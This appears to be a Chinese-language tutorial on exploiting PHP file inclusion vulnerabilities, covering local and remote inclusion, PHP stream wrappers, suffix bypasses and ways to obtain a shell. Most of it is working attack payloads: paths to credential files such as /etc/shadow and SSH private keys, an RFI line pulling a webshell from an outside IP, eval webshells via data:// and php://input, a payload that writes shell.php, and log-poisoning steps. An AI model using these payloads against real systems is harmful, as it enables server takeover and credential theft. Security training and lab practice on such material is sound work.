文件包含漏洞&&PHP伪协议
一、PHP中常见的包含文件函数
Ø include( )
当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行
Ø include_once( )
功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次
Ø require( )
require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行
Ø require_once( )
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次
几乎所有的脚本语言中都提供文件包含的功能,但文件包含漏洞在 PHP 中居多,而在JSP、ASP、ASP.NET程序中非常少,甚至没有包含漏洞的存在。这与程序开发人员的水平无关,而问题在于语言设计的弊端。文件包含漏洞在黑盒极少遇到,通常都是通过白盒审计找出来的。
二、分类
LFI(本地包含)
- 用法:
?file=C:\Windows\my.ini
?file=../../../../../../../../../../../../../../../../etc/passwd
- 常用敏感文件路径:
Windows:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
RFI(远程包含)
- 条件:allow_url_fopen=on、allow_url_include=on
- 方法:利用http协议读取远程主机上的一句话木马,直接getshell
- 用法:
?filename=http://8.134.95.36/hacker/shell.txt
- 注意:1.allow_url_include=on 2.一句话木马需要写在txt文件上、如果是php文件则会变成访问远程主机的php网页
三、PHP伪协议

file://
- 作用:读取本地文件
- 条件:file协议使用需要用到完整路径,依赖前期的信息收集
- 用法:
?filename=file://D:/phpStudy2018/PHPTutorial/phpinfo.txt
?filename=file:///etc/passwd
phar://、zip://、bzip2://、zlib://
- 作用:可以访问压缩文件中的子文件
- 注意:不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等,将phpinfo.txt压缩成phpinfo.zip,再将压缩包重命名为phpinfo.jpg
- 条件:无
- 用法
?file=zip://D:\phpStudy2018\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
?file=phar://D:\phpStudy2018\PHPTutorial\WWW\phpinfo.zip\phpinfo.txt
?file=compress.bzip2://D:\phpStudy2018\PHPTutorial\WWW\phpinfo.bz2
?file=compress.zlib://D:\phpStudy2018\PHPTutorial\WWW\phpinfo.gz
另外在 Black Hat 2018 大会上,研究人员公布了一款针对PHP应用程序的全新攻击技术:phar://协议对象注入技术。
参考文章:seebug - 利用 phar 拓展 php 反序列化漏洞攻击面
data://
- 作用:使用data://数据流封装器,以传递相应格式的数据,通常可以用来执行PHP代码。
- 条件:(1)PHP>=5.2.0 (2)allow_url_fopen=on、allow_url_include=on
- 用法:
?file=data://text/plain,<?php @eval($_POST['pass']);phpinfo();?>
?file=data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pO3BocGluZm8oKTs/Pg==
php://filter
- 作用:读取文件内容
- 条件:无
- 用法:
?file=php://filter/resource=flag.php
?file=php://filter/read=convert.base64-encode/resource=flag.php
//大多数时候很多信息无法直接显示在浏览器页面上,所以需要采取将文件内容进行base64编码后显示在浏览器上,再自行解码
php://input
- 作用:执行php代码,或者写入文件
- 条件:allow_url_include=on
- 用法:
?file=php://input
[POST DATA部分]
<?php system("ls"); ?>
?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?= assert(array_pop($_REQUEST))?>'); ?>
//蚁剑链接时,编码器用chr
三、后缀名固定绕过方法
当代码中包含文件后面固定了后缀名,如:include($flie.".html")时,会使得我们不能随便包含,并且不能使用伪协议
但我们可以用以下几种方法绕过:
1.%00截断
- 条件:(1)magic_quotes_gpc=off(2)php版本<5.3.4
- 原理:url的%00代表着ascii码中的0,表示着字符串结束,代表着读取已结束
- 用法:
?file=C:\Windows\win.ini%00
2.长度截断
- 条件:(1)windos环境下(2)要求是相对路径(3)php5.x的低版本
- 原理:垃圾数据溢出
- 用法:
?file=../../phpinfo.txt./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
3.协议绕过
- 条件:可以上传文件
- 方法:利用zip://协议,上传可以上传的文件类型后缀的压缩包,压缩包里面的文件后缀为要求所固定的后缀名,最后利用zip://协议时去掉文件后缀名,利用代码补全的后缀名
- 用法:
?file=zip://D:\phpStudy2018\PHPTutorial\WWW\phpinfo.jpg%23phpinfo
四、文件包含get shell三种方法:
1.配合文件上传
2.配合日志文件:
- 方法:在日志文件中留下一句话木马,再利用flie://协议访问日志文件
- 用法:
nginx&&linux:
日志路径/var/log/nginx/access.log
1.查看日志内容,是否记录访问主机的UA信息或者其他参数
2.根据中间件、数据库类型,去网上找到日志文件路径
3.修改访问数据包的User-Agent参数,在后面加入php执行代码(一句话木马之类的)
4.通过文件包含用flie://协议访问日志文件,尝试用蚁剑连接
//最好一次过,代码不要写错,不然环境容易出现问题
3.配合SESSION文件:
参考文章:lnterpreter - session包含
session文件路径:
- linux:/tmp或者/var/lib/php/seesion
- Windows:C:\Windows\Temp

浙公网安备 33010602011771号